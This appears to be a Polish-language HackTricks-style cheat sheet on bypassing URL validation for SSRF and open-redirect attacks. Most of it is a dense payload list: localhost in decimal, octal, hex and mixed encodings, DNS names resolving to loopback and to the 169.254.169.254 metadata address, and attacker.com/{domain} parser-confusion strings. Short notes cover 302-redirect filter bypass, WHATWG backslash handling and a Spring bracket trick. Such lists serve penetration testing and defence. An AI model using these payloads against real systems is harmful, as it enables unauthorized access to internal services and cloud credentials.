Dziel się sztuczkami hackingowymi, przesyłając PR-y doHackTricks i HackTricks Cloud repozytoriów na githubie.
Localhost
# Localhosthttp://127.0.0.1:80http://127.0.0.1:443http://127.0.0.1:22http://127.1:80http://127.000000000000000.1http://0http:@0/-->http://localhost/http://0.0.0.0:80http://localhost:80http://[::]:80/http://[::]:25/SMTPhttp://[::]:3128/Squidhttp://[0000::1]:80/http://[0:0:0:0:0:ffff:127.0.0.1]/thefilehttp://①②⑦.⓪.⓪.⓪# CDIR bypasshttp://127.127.127.127http://127.0.1.3http://127.0.0.0# Dot bypass127。0。0。1127%E3%80%820%E3%80%820%E3%80%821# Decimal bypasshttp://2130706433/=http://127.0.0.1http://3232235521/=http://192.168.0.1http://3232235777/=http://192.168.1.1# Octal Bypasshttp://0177.0000.0000.0001http://00000177.00000000.00000000.00000001http://017700000001# Hexadecimal bypass127.0.0.1=0x7f000001http://0x7f000001/=http://127.0.0.1http://0xc0a80014/=http://192.168.0.200x7f.0x00.0x00.0x010x0000007f.0x00000000.0x00000000.0x00000001# Mixed encodings bypass169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number
0xA9.254.0251.0376 -> hexadecimal,decimalandoctal# Add 0s bypass127.000000000000.1# You can also mix different encoding formats# https://www.silisoftware.com/tools/ipconverter.php# Malformed and rarelocalhost:+11211aaalocalhost:00011211aaaahttp://0/http://127.1http://127.0.1# DNS to localhostlocaltest.me=127.0.0.1customer1.app.localhost.my.company.127.0.0.1.nip.io=127.0.0.1mail.ebc.apple.com=127.0.0.6 (localhost)127.0.0.1.nip.io=127.0.0.1 (Resolves tothegivenIP)www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us=Resolvestowww.google.comhttp://customer1.app.localhost.my.company.127.0.0.1.nip.iohttp://bugbounty.dod.network=127.0.0.2 (localhost)1ynrnhl.xip.io==169.254.169.254spoofed.burpcollaborator.net=127.0.0.1
# Try also to change attacker.com for 127.0.0.1 to try to access localhost# Try replacing https by http# Try URL-encoded charactershttps://{domain}@attacker.comhttps://{domain}.attacker.comhttps://{domain}%6D@attacker.comhttps://attacker.com/{domain}https://attacker.com/?d={domain}https://attacker.com#{domain}https://attacker.com@{domain}https://attacker.com#@{domain}https://attacker.com%23@{domain}https://attacker.com%00{domain}https://attacker.com%0A{domain}https://attacker.com?{domain}https://attacker.com///{domain}https://attacker.com\{domain}/https://attacker.com;https://{domain}https://attacker.com\{domain}/https://attacker.com\.{domain}https://attacker.com/.{domain}https://attacker.com\@@{domain}https://attacker.com:\@@{domain}https://attacker.com#\@{domain}https://attacker.com\anything@{domain}/https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com# On each IP position try to put 1 attackers domain and the others the victim domainhttp://1.1.1.1&@2.2.2.2#@3.3.3.3/#Parameter pollutionnext={domain}&next=attacker.com
Paths and Extensions Bypass
Jeśli wymagana jest końcówka URL w postaci ścieżki lub rozszerzenia, lub musi zawierać ścieżkę, możesz spróbować jednego z następujących obejść:
Narzędzie recollapse może generować wariacje z danego wejścia, aby spróbować obejść używany regex. Sprawdź ten post również dla uzyskania dodatkowych informacji.
Automatic Custom Wordlists
Sprawdź arkusz oszustw dotyczący obejścia walidacji URL od portswigger, gdzie możesz wprowadzić dozwolony host i atakujący, a on wygeneruje listę URL do przetestowania. Uwzględnia również, czy możesz użyć URL w parametrze, w nagłówku Host lub w nagłówku CORS.
Bypass via redirect
Możliwe, że serwer filtruje oryginalne żądanie SSRF ale nie możliwą odpowiedź przekierowania na to żądanie.
Na przykład, serwer podatny na SSRF poprzez: url=https://www.google.com/ może filtruje parametr url. Ale jeśli użyjesz serwera python do odpowiedzi z kodem 302 do miejsca, w które chcesz przekierować, możesz być w stanie uzyskać dostęp do filtrowanych adresów IP jak 127.0.0.1 lub nawet filtrowanych protokółów jak gopher.
Sprawdź ten raport.
Sztuczka z ukośnikiem wykorzystuje różnicę między WHATWG URL Standard a RFC3986. Podczas gdy RFC3986 jest ogólnym ramowym dokumentem dla URI, WHATWG jest specyficzny dla adresów URL w sieci i jest przyjęty przez nowoczesne przeglądarki. Kluczowa różnica polega na uznaniu znaku ukośnika wstecz (\) przez standard WHATWG za równoważny ukośnikowi do przodu (/), co wpływa na sposób, w jaki adresy URL są analizowane, szczególnie oznaczając przejście od nazwy hosta do ścieżki w adresie URL.
Lewy nawias kwadratowy
Znak „lewy nawias kwadratowy” [ w segmencie userinfo może spowodować, że UriComponentsBuilder Springa zwróci wartość nazwy hosta, która różni się od przeglądarek: https://example.com[@attacker.com